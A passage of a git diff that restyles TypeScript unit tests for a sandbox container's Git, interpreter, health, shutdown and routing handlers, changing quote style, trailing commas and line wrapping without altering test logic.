describe('GitHandler', () => { @@ -70,9 +70,11 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as GitCheckoutResult; + const responseData = (await response.json()) as GitCheckoutResult; expect(responseData.success).toBe(true); - expect(responseData.repoUrl).toBe('https://github.com/user/awesome-repo.git'); + expect(responseData.repoUrl).toBe( + 'https://github.com/user/awesome-repo.git' + ); expect(responseData.targetDir).toBe('/tmp/my-project'); expect(responseData.branch).toBe('develop'); expect(responseData.timestamp).toBeDefined(); @@ -113,11 +115,15 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as GitCheckoutResult; + const responseData = (await response.json()) as GitCheckoutResult; expect(responseData.success).toBe(true); - expect(responseData.repoUrl).toBe('https://github.com/user/simple-repo.git'); + expect(responseData.repoUrl).toBe( + 'https://github.com/user/simple-repo.git' + ); expect(responseData.branch).toBe('main'); // Service returned branch - expect(responseData.targetDir).toBe('/tmp/git-clone-simple-repo-1672531200-abc123'); // Generated path + expect(responseData.targetDir).toBe( + '/tmp/git-clone-simple-repo-1672531200-abc123' + ); // Generated path expect(responseData.timestamp).toBeDefined(); // Verify service was called with correct parameters @@ -142,7 +148,10 @@ describe('GitHandler', () => { error: { message: 'Git URL validation failed: Invalid URL scheme', code: 'INVALID_GIT_URL', - details: { repoUrl: 'invalid-url-format', errors: ['Invalid URL scheme'] } + details: { + repoUrl: 'invalid-url-format', + errors: ['Invalid URL scheme'] + } } }); @@ -155,7 +164,7 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('INVALID_GIT_URL'); expect(responseData.message).toContain('Invalid URL scheme'); expect(responseData.httpStatus).toBe(400); @@ -173,7 +182,10 @@ describe('GitHandler', () => { error: { message: 'Target directory validation failed: Path outside sandbox', code: 'VALIDATION_FAILED', - details: { targetDirectory: '/malicious/../path', errors: ['Path outside sandbox'] } + details: { + targetDirectory: '/malicious/../path', + errors: ['Path outside sandbox'] + } } }); @@ -186,7 +198,7 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('VALIDATION_FAILED'); expect(responseData.message).toContain('Path outside sandbox'); expect(responseData.httpStatus).toBe(400); @@ -207,7 +219,8 @@ describe('GitHandler', () => { details: { repoUrl: 'https://github.com/user/nonexistent-repo.git', exitCode: 128, - stderr: 'fatal: repository \'https://github.com/user/nonexistent-repo.git\' not found' + stderr: + "fatal: repository 'https://github.com/user/nonexistent-repo.git' not found" } } }); @@ -221,7 +234,7 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('GIT_CLONE_FAILED'); expect(responseData.context.exitCode).toBe(128); expect(responseData.context.stderr).toContain('repository'); @@ -244,7 +257,8 @@ describe('GitHandler', () => { details: { repoUrl: 'https://github.com/user/repo.git', exitCode: 128, - stderr: 'fatal: Remote branch nonexistent-branch not found in upstream origin' + stderr: + 'fatal: Remote branch nonexistent-branch not found in upstream origin' } } }); @@ -258,9 +272,11 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('GIT_CLONE_FAILED'); - expect(responseData.context.stderr).toContain('nonexistent-branch not found'); + expect(responseData.context.stderr).toContain( + 'nonexistent-branch not found' + ); expect(responseData.httpStatus).toBe(500); expect(responseData.timestamp).toBeDefined(); }); @@ -275,7 +291,10 @@ describe('GitHandler', () => { error: { message: 'Failed to clone repository', code: 'GIT_OPERATION_FAILED', - details: { repoUrl: 'https://github.com/user/repo.git', originalError: 'Command not found' } + details: { + repoUrl: 'https://github.com/user/repo.git', + originalError: 'Command not found' + } } }); @@ -288,7 +307,7 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('GIT_OPERATION_FAILED'); expect(responseData.context.originalError).toBe('Command not found'); expect(responseData.httpStatus).toBe(500); @@ -298,14 +317,17 @@ describe('GitHandler', () => { describe('route handling', () => { it('should return 404 for invalid git endpoints', async () => { - const request = new Request('http://localhost:3000/api/git/invalid-operation', { - method: 'POST' - }); + const request = new Request( + 'http://localhost:3000/api/git/invalid-operation', + { + method: 'POST' + } + ); const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid git endpoint'); expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.httpStatus).toBe(500); @@ -323,7 +345,7 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid git endpoint'); expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.httpStatus).toBe(500); @@ -338,7 +360,7 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid git endpoint'); expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.httpStatus).toBe(500); @@ -367,8 +389,12 @@ describe('GitHandler', () => { expect(response.status).toBe(200); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should include CORS headers in error responses', async () => { @@ -405,10 +431,16 @@ describe('GitHandler', () => { const response = await gitHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as GitCheckoutResult; + const responseData = (await response.json()) as GitCheckoutResult; // Verify all expected fields are present - const expectedFields = ['success', 'repoUrl', 'branch', 'targetDir', 'timestamp']; + const expectedFields = [ + 'success', + 'repoUrl', + 'branch', + 'targetDir', + 'timestamp' + ]; for (const field of expectedFields) { expect(responseData).toHaveProperty(field); } @@ -441,5 +473,4 @@ describe('GitHandler', () => { expect(response.headers.get('Content-Type')).toBe('application/json'); }); }); - -}); \ No newline at end of file +}); diff --git a/packages/sandbox-container/tests/handlers/interpreter-handler.test.ts b/packages/sandbox-container/tests/handlers/interpreter-handler.test.ts index c190cbe3..e50f1d58 100644 --- a/packages/sandbox-container/tests/handlers/interpreter-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/interpreter-handler.test.ts @@ -1,14 +1,21 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { ContextCreateResult, ContextDeleteResult, ContextListResult, - InterpreterHealthResult, + InterpreterHealthResult } from '@repo/shared'; import type { ErrorResponse } from '@repo/shared/errors'; -import type { Logger, RequestContext, ServiceResult } from '@sandbox-container/core/types.ts'; -import { InterpreterHandler } from "@sandbox-container/handlers/interpreter-handler.js"; -import type { CreateContextRequest, InterpreterService } from '@sandbox-container/services/interpreter-service.ts'; +import type { + Logger, + RequestContext, + ServiceResult +} from '@sandbox-container/core/types.ts'; +import { InterpreterHandler } from '@sandbox-container/handlers/interpreter-handler.js'; +import type { + CreateContextRequest, + InterpreterService +} from '@sandbox-container/services/interpreter-service.ts'; import { mocked } from '../test-utils'; // Mock the service dependencies @@ -17,14 +24,14 @@ const mockInterpreterService = { createContext: vi.fn(), listContexts: vi.fn(), deleteContext: vi.fn(), - executeCode: vi.fn(), + executeCode: vi.fn() } as unknown as InterpreterService; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -34,9 +41,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; describe('InterpreterHandler', () => { @@ -62,19 +69,24 @@ describe('InterpreterHandler', () => { ready: true, version: '1.0.0' } - } as ServiceResult<{ status: string; ready: boolean; version: string; }>; + } as ServiceResult<{ status: string; ready: boolean; version: string }>; - mocked(mockInterpreterService.getHealthStatus).mockResolvedValue(mockHealthResult); + mocked(mockInterpreterService.getHealthStatus).mockResolvedValue( + mockHealthResult + ); - const request = new Request('http://localhost:3000/api/interpreter/health', { - method: 'GET', - }); + const request = new Request( + 'http://localhost:3000/api/interpreter/health', + { + method: 'GET' + } + ); const response = await interpreterHandler.handle(request, mockContext); // Verify success response: {success: true, status, timestamp} expect(response.status).toBe(200); - const responseData = await response.json() as InterpreterHealthResult; + const responseData = (await response.json()) as InterpreterHealthResult; expect(responseData.success).toBe(true); expect(responseData.status).toBe('healthy'); expect(responseData.timestamp).toBeDefined(); @@ -94,17 +106,22 @@ describe('InterpreterHandler', () => { } } as ServiceResult; - mocked(mockInterpreterService.getHealthStatus).mockResolvedValue(mockHealthError); + mocked(mockInterpreterService.getHealthStatus).mockResolvedValue( + mockHealthError + ); - const request = new Request('http://localhost:3000/api/interpreter/health', { - method: 'GET', - }); + const request = new Request( + 'http://localhost:3000/api/interpreter/health', + { + method: 'GET' + } + ); const response = await interpreterHandler.handle(request, mockContext); // Verify error response: {code, message, context, httpStatus, timestamp} expect(response.status).toBeGreaterThanOrEqual(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('INTERPRETER_NOT_READY'); expect(responseData.message).toBe('Interpreter not initialized'); expect(responseData.context).toBeDefined(); @@ -124,9 +141,16 @@ describe('InterpreterHandler', () => { cwd: '/workspace', createdAt: new Date() } - } as ServiceResult<{ id: string; language: string; cwd: string; createdAt: Date; }>; - - mocked(mockInterpreterService.createContext).mockResolvedValue(mockContextResult); + } as ServiceResult<{ + id: string; + language: string; + cwd: string; + createdAt: Date; + }>; + + mocked(mockInterpreterService.createContext).mockResolvedValue( + mockContextResult + ); const contextRequest: CreateContextRequest = { language: 'python', @@ -143,7 +167,7 @@ describe('InterpreterHandler', () => { // Verify success response: {success: true, contextId, language, cwd, timestamp} expect(response.status).toBe(200); - const responseData = await response.json() as ContextCreateResult; + const responseData = (await response.json()) as ContextCreateResult; expect(responseData.success).toBe(true); expect(responseData.contextId).toBe('ctx-123'); expect(responseData.language).toBe('python'); @@ -151,7 +175,9 @@ describe('InterpreterHandler', () => { expect(responseData.timestamp).toBeDefined(); // Verify service was called correctly - expect(mockInterpreterService.createContext).toHaveBeenCalledWith(contextRequest); + expect(mockInterpreterService.createContext).toHaveBeenCalledWith( + contextRequest + ); }); it('should handle context creation errors', async () => { @@ -165,7 +191,9 @@ describe('InterpreterHandler', () => { } } as ServiceResult; - mocked(mockInterpreterService.createContext).mockResolvedValue(mockContextError); + mocked(mockInterpreterService.createContext).mockResolvedValue( + mockContextError + ); const contextRequest: CreateContextRequest = { language: 'invalid-lang', @@ -182,7 +210,7 @@ describe('InterpreterHandler', () => { // Verify error response: {code, message, context, httpStatus, timestamp} expect(response.status).toBeGreaterThanOrEqual(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('VALIDATION_ERROR'); expect(responseData.message).toBe('Invalid language specified'); expect(responseData.context).toMatchObject({ language: 'invalid-lang' }); @@ -201,7 +229,9 @@ describe('InterpreterHandler', () => { } } as ServiceResult; - mocked(mockInterpreterService.createContext).mockResolvedValue(mockNotReadyError); + mocked(mockInterpreterService.createContext).mockResolvedValue( + mockNotReadyError + ); const contextRequest: CreateContextRequest = { language: 'python', @@ -236,19 +266,21 @@ describe('InterpreterHandler', () => { { id: 'ctx-1', language: 'python', cwd: '/workspace1' }, { id: 'ctx-2', language: 'javascript', cwd: '/workspace2' } ] - } as ServiceResult>; + } as ServiceResult>; - mocked(mockInterpreterService.listContexts).mockResolvedValue(mockContexts); + mocked(mockInterpreterService.listContexts).mockResolvedValue( + mockContexts + ); const request = new Request('http://localhost:3000/api/contexts', { - method: 'GET', + method: 'GET' }); const response = await interpreterHandler.handle(request, mockContext); // Verify success response: {success: true, contexts, timestamp} expect(response.status).toBe(200); - const responseData = await response.json() as ContextListResult; + const responseData = (await response.json()) as ContextListResult; expect(responseData.success).toBe(true); expect(responseData.contexts).toHaveLength(2); expect(responseData.contexts[0].id).toBe('ctx-1'); @@ -271,17 +303,19 @@ describe('InterpreterHandler', () => { } } as ServiceResult; - mocked(mockInterpreterService.listContexts).mockResolvedValue(mockListError); + mocked(mockInterpreterService.listContexts).mockResolvedValue( + mockListError + ); const request = new Request('http://localhost:3000/api/contexts', { - method: 'GET', + method: 'GET' }); const response = await interpreterHandler.handle(request, mockContext); // Verify error response: {code, message, context, httpStatus, timestamp} expect(response.status).toBeGreaterThanOrEqual(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Failed to list contexts'); expect(responseData.httpStatus).toBeDefined(); @@ -297,23 +331,30 @@ describe('InterpreterHandler', () => { data: undefined } as ServiceResult; - mocked(mockInterpreterService.deleteContext).mockResolvedValue(mockDeleteResult); + mocked(mockInterpreterService.deleteContext).mockResolvedValue( + mockDeleteResult + ); - const request = new Request('http://localhost:3000/api/contexts/ctx-123', { - method: 'DELETE', - }); + const request = new Request( + 'http://localhost:3000/api/contexts/ctx-123', + { + method: 'DELETE' + } + ); const response = await interpreterHandler.handle(request, mockContext); // Verify success response: {success: true, contextId, timestamp} expect(response.status).toBe(200); - const responseData = await response.json() as ContextDeleteResult; + const responseData = (await response.json()) as ContextDeleteResult; expect(responseData.success).toBe(true); expect(responseData.contextId).toBe('ctx-123'); expect(responseData.timestamp).toBeDefined(); // Verify service was called with correct context ID - expect(mockInterpreterService.deleteContext).toHaveBeenCalledWith('ctx-123'); + expect(mockInterpreterService.deleteContext).toHaveBeenCalledWith( + 'ctx-123' + ); }); it('should handle delete context errors', async () => { @@ -327,17 +368,22 @@ describe('InterpreterHandler', () => { } } as ServiceResult; - mocked(mockInterpreterService.deleteContext).mockResolvedValue(mockDeleteError); + mocked(mockInterpreterService.deleteContext).mockResolvedValue( + mockDeleteError + ); - const request = new Request('http://localhost:3000/api/contexts/ctx-999', { - method: 'DELETE', - }); + const request = new Request( + 'http://localhost:3000/api/contexts/ctx-999', + { + method: 'DELETE' + } + ); const response = await interpreterHandler.handle(request, mockContext); // Verify error response: {code, message, context, httpStatus, timestamp} expect(response.status).toBeGreaterThanOrEqual(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('RESOURCE_NOT_FOUND'); expect(responseData.message).toBe('Context not found'); expect(responseData.context).toMatchObject({ contextId: 'ctx-999' }); @@ -351,9 +397,15 @@ describe('InterpreterHandler', () => { // Mock streaming response from service const mockStream = new ReadableStream({ start(controller) { - controller.enqueue('data: {"type":"start","timestamp":"2023-01-01T00:00:00Z"}\n\n'); - controller.enqueue('data: {"type":"stdout","data":"Hello World\\n","timestamp":"2023-01-01T00:00:01Z"}\n\n'); - controller.enqueue('data: {"type":"complete","exitCode":0,"timestamp":"2023-01-01T00:00:02Z"}\n\n'); + controller.enqueue( + 'data: {"type":"start","timestamp":"2023-01-01T00:00:00Z"}\n\n' + ); + controller.enqueue( + 'data: {"type":"stdout","data":"Hello World\\n","timestamp":"2023-01-01T00:00:01Z"}\n\n' + ); + controller.enqueue( + 'data: {"type":"complete","exitCode":0,"timestamp":"2023-01-01T00:00:02Z"}\n\n' + ); controller.close(); } }); @@ -362,11 +414,13 @@ describe('InterpreterHandler', () => { status: 200, headers: { 'Content-Type': 'text/event-stream', - 'Cache-Control': 'no-cache', + 'Cache-Control': 'no-cache' } }); - mocked(mockInterpreterService.executeCode).mockResolvedValue(mockStreamResponse); + mocked(mockInterpreterService.executeCode).mockResolvedValue( + mockStreamResponse + ); const executeRequest = { context_id: 'ctx-123', @@ -412,7 +466,9 @@ describe('InterpreterHandler', () => { } ); - mocked(mockInterpreterService.executeCode).mockResolvedValue(mockErrorResponse); + mocked(mockInterpreterService.executeCode).mockResolvedValue( + mockErrorResponse + ); const executeRequest = { context_id: 'ctx-invalid', @@ -430,7 +486,7 @@ describe('InterpreterHandler', () => { // Verify error response: {code, message, context, httpStatus, timestamp} expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('RESOURCE_NOT_FOUND'); expect(responseData.message).toBe('Context not found'); expect(responseData.context).toMatchObject({ contextId: 'ctx-invalid' }); @@ -441,15 +497,18 @@ describe('InterpreterHandler', () => { describe('handle - Invalid Endpoints', () => { it('should return error for invalid interpreter endpoint', async () => { - const request = new Request('http://localhost:3000/api/interpreter/invalid', { - method: 'GET', - }); + const request = new Request( + 'http://localhost:3000/api/interpreter/invalid', + { + method: 'GET' + } + ); const response = await interpreterHandler.handle(request, mockContext); // Verify error response: {code, message, context, httpStatus, timestamp} expect(response.status).toBeGreaterThanOrEqual(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid interpreter endpoint'); expect(responseData.httpStatus).toBeDefined(); @@ -458,14 +517,14 @@ describe('InterpreterHandler', () => { it('should return error for invalid HTTP method', async () => { const request = new Request('http://localhost:3000/api/contexts', { - method: 'PUT', // Invalid method + method: 'PUT' // Invalid method }); const response = await interpreterHandler.handle(request, mockContext); // Verify error response for invalid endpoint/method combination expect(response.status).toBeGreaterThanOrEqual(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid interpreter endpoint'); }); diff --git a/packages/sandbox-container/tests/handlers/misc-handler.test.ts b/packages/sandbox-container/tests/handlers/misc-handler.test.ts index d0212388..00404303 100644 --- a/packages/sandbox-container/tests/handlers/misc-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/misc-handler.test.ts @@ -1,4 +1,4 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { HealthCheckResult, ShutdownResult } from '@repo/shared'; import type { ErrorResponse } from '@repo/shared/errors'; import type { Logger, RequestContext } from '@sandbox-container/core/types'; @@ -9,7 +9,7 @@ const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -19,9 +19,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; describe('MiscHandler', () => { @@ -44,7 +44,9 @@ describe('MiscHandler', () => { expect(response.status).toBe(200); expect(await response.text()).toBe('Hello from Bun server! ๐Ÿš€'); - expect(response.headers.get('Content-Type')).toBe('text/plain; charset=utf-8'); + expect(response.headers.get('Content-Type')).toBe( + 'text/plain; charset=utf-8' + ); }); it('should include CORS headers in root response', async () => { @@ -55,8 +57,12 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should handle different HTTP methods on root', async () => { @@ -86,13 +92,15 @@ describe('MiscHandler', () => { expect(response.status).toBe(200); expect(response.headers.get('Content-Type')).toBe('application/json'); - const responseData = await response.json() as HealthCheckResult; + const responseData = (await response.json()) as HealthCheckResult; expect(responseData.success).toBe(true); expect(responseData.status).toBe('healthy'); expect(responseData.timestamp).toBeDefined(); // Verify timestamp format - expect(responseData.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(responseData.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); expect(new Date(responseData.timestamp)).toBeInstanceOf(Date); }); @@ -104,8 +112,12 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should handle health requests with different HTTP methods', async () => { @@ -121,7 +133,7 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as HealthCheckResult; + const responseData = (await response.json()) as HealthCheckResult; expect(responseData.success).toBe(true); expect(responseData.status).toBe('healthy'); } @@ -137,11 +149,11 @@ describe('MiscHandler', () => { const response1 = await miscHandler.handle(request1, mockContext); // Small delay to ensure different timestamps - await new Promise(resolve => setTimeout(resolve, 5)); + await new Promise((resolve) => setTimeout(resolve, 5)); const response2 = await miscHandler.handle(request2, mockContext); - const responseData1 = await response1.json() as HealthCheckResult; - const responseData2 = await response2.json() as HealthCheckResult; + const responseData1 = (await response1.json()) as HealthCheckResult; + const responseData2 = (await response2.json()) as HealthCheckResult; expect(responseData1.timestamp).not.toBe(responseData2.timestamp); expect(new Date(responseData1.timestamp).getTime()).toBeLessThan( @@ -168,7 +180,9 @@ describe('MiscHandler', () => { expect(responseData.success).toBe(true); expect(responseData.version).toBe('1.2.3'); expect(responseData.timestamp).toBeDefined(); - expect(responseData.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(responseData.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); }); it('should return "unknown" when SANDBOX_VERSION is not set', async () => { @@ -196,8 +210,12 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); }); @@ -212,13 +230,15 @@ describe('MiscHandler', () => { expect(response.status).toBe(200); expect(response.headers.get('Content-Type')).toBe('application/json'); - const responseData = await response.json() as ShutdownResult; + const responseData = (await response.json()) as ShutdownResult; expect(responseData.success).toBe(true); expect(responseData.message).toBe('Container shutdown initiated'); expect(responseData.timestamp).toBeDefined(); // Verify timestamp format - expect(responseData.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(responseData.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); expect(new Date(responseData.timestamp)).toBeInstanceOf(Date); }); @@ -230,8 +250,12 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should handle shutdown requests with GET method', async () => { @@ -242,7 +266,7 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ShutdownResult; + const responseData = (await response.json()) as ShutdownResult; expect(responseData.success).toBe(true); expect(responseData.message).toBe('Container shutdown initiated'); }); @@ -257,11 +281,11 @@ describe('MiscHandler', () => { const response1 = await miscHandler.handle(request1, mockContext); // Small delay to ensure different timestamps - await new Promise(resolve => setTimeout(resolve, 5)); + await new Promise((resolve) => setTimeout(resolve, 5)); const response2 = await miscHandler.handle(request2, mockContext); - const responseData1 = await response1.json() as ShutdownResult; - const responseData2 = await response2.json() as ShutdownResult; + const responseData1 = (await response1.json()) as ShutdownResult; + const responseData2 = (await response2.json()) as ShutdownResult; expect(responseData1.timestamp).not.toBe(responseData2.timestamp); expect(new Date(responseData1.timestamp).getTime()).toBeLessThan( @@ -279,7 +303,7 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid endpoint'); expect(responseData.code).toBeDefined(); expect(responseData.httpStatus).toBe(500); @@ -295,7 +319,7 @@ describe('MiscHandler', () => { const response = await miscHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid endpoint'); expect(responseData.code).toBeDefined(); expect(responseData.httpStatus).toBe(500); @@ -318,8 +342,14 @@ describe('MiscHandler', () => { describe('response format consistency', () => { it('should have consistent JSON response structure for API endpoints', async () => { const apiEndpoints = [ - { path: '/api/health', expectedFields: ['success', 'status', 'timestamp'] }, - { path: '/api/shutdown', expectedFields: ['success', 'message', 'timestamp'] } + { + path: '/api/health', + expectedFields: ['success', 'status', 'timestamp'] + }, + { + path: '/api/shutdown', + expectedFields: ['success', 'message', 'timestamp'] + } ]; for (const endpoint of apiEndpoints) { @@ -328,12 +358,16 @@ describe('MiscHandler', () => { }); const response = await miscHandler.handle(request, mockContext); - const responseData = await response.json() as HealthCheckResult | ShutdownResult; + const responseData = (await response.json()) as + | HealthCheckResult + | ShutdownResult; // Verify all expected fields are present expect(responseData.success).toBe(true); expect(responseData.timestamp).toBeDefined(); - expect(responseData.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(responseData.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); // Verify all expected fields are present for (const field of endpoint.expectedFields) { @@ -355,7 +389,9 @@ describe('MiscHandler', () => { }); const response = await miscHandler.handle(request, mockContext); - expect(response.headers.get('Content-Type')).toBe(endpoint.expectedContentType); + expect(response.headers.get('Content-Type')).toBe( + endpoint.expectedContentType + ); } }); @@ -366,9 +402,9 @@ describe('MiscHandler', () => { corsHeaders: { 'Access-Control-Allow-Origin': 'https://example.com', 'Access-Control-Allow-Methods': 'GET, POST', - 'Access-Control-Allow-Headers': 'Authorization', + 'Access-Control-Allow-Headers': 'Authorization' }, - sessionId: 'session-alternative', + sessionId: 'session-alternative' }; const request = new Request('http://localhost:3000/api/health', { @@ -376,13 +412,19 @@ describe('MiscHandler', () => { }); const response = await miscHandler.handle(request, alternativeContext); - const responseData = await response.json() as HealthCheckResult; + const responseData = (await response.json()) as HealthCheckResult; expect(responseData.success).toBe(true); expect(responseData.status).toBe('healthy'); - expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://example.com'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Authorization'); + expect(response.headers.get('Access-Control-Allow-Origin')).toBe( + 'https://example.com' + ); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Authorization' + ); }); }); @@ -393,7 +435,7 @@ describe('MiscHandler', () => { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; const independentHandler = new MiscHandler(simpleLogger); @@ -405,7 +447,7 @@ describe('MiscHandler', () => { const response = await independentHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as HealthCheckResult; + const responseData = (await response.json()) as HealthCheckResult; expect(responseData.success).toBe(true); expect(responseData.status).toBe('healthy'); }); diff --git a/packages/sandbox-container/tests/handlers/port-handler.test.ts b/packages/sandbox-container/tests/handlers/port-handler.test.ts index 10912d93..9614f7e3 100644 --- a/packages/sandbox-container/tests/handlers/port-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/port-handler.test.ts @@ -1,11 +1,15 